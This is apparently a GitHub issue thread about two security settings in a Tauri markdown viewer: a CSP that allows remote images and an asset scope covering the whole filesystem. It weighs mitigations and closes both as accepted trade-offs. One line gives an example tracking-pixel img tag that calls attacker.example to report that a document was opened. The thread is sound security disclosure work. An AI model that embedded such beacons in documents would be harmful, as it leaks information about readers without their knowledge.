Opening an untrusted .md can phone home: CSP img-src allows https:, and asset scope is the whole filesystem
Two settings in tauri.conf.json that widen what a document can do. Both are deliberate-looking trade-offs, so I'd rather ask than change them.
img-src ... https:
comrak runs with unsafe_ = true, so raw HTML in a document reaches the preview. With https: in img-src, opening a .md from anywhere silently contacts a third party:
<img src="https://attacker.example/pixel?doc=notes" width="1" height="1">
No prompt, no setting, no indication. connect-src 'self' already blocks fetch/XHR, so this is the remaining outbound channel.
Narrowing to 'self' asset: http://asset.localhost blob: data: closes it, but breaks documents that legitimately reference remote images — a real regression for anyone whose notes link to images on the web. The alternative is an explicit "load external images" toggle, which is more work but keeps the feature.
assetProtocol.scope: ["**"]
The webview can read any file through asset://. The static scope has to be wide because a markdown file may reference an image anywhere on disk, and none of Tauri's runtime narrowing APIs are used (asset_protocol_scope, allow_directory, allow_file — zero occurrences).
A narrower policy is imaginable — allow the open document's directory tree, extend on demand — but it is a design, not a patch, and it can break existing documents.
I'm not proposing a change; I'd like to know whether these are settled trade-offs so they can be recorded as such, or whether you'd like either tightened.
1. img-src http possible solutions:
- A: if a markdown file is in the users
Downloadsfolder and has<img>tags, prompt user with an "Allow remote images" toggle, with an 'always' checkbox. Not dissimilar to how email clients handle images. - B: on load, scan any .md doc for
<img>tags withwidth="1" height="1"and prompt user with the same dialog as above - C: option B but simply block any 1x1 potential tracker
- or some combination between them
2. asset scope possible solutions:
allow the open document's directory tree, extend on demand
this seems good to me, as most .mds have assets near source doc. possibly have a toggle in settings to extend asset scope?
I personnally like A from @alecdotdev but would not limit it to within the download folder, some people download in different folder. I suggest to go the VSC path and ask if this is a trusted directory and if it is not need to ask in the future, otherwise approve but just for this opening instance
Recording both as settled trade-offs rather than leaving the question open.
Remote images: the risk is real but narrow — it takes a document written to track you, opened from somewhere untrusted. The fix that closes it without breaking documents that legitimately link to remote images is a per-document prompt plus a persistent allowlist, in 26 languages, and it would still be a DOM-level gate that srcset, poster and CSS backgrounds can slip past. That is a lot of surface for a threat nobody has reported.
Asset scope: ** only matters if something else already went wrong. Scripts are stripped by the sanitizer and connect-src 'self' stops the webview reading an asset: response, so a document cannot read a file it points at — it can only fail to display it. Narrowing to the document's own directory would break ../img/x.png, which is a real regression for a theoretical gain.
Reopen if a document in the wild turns out to be doing either.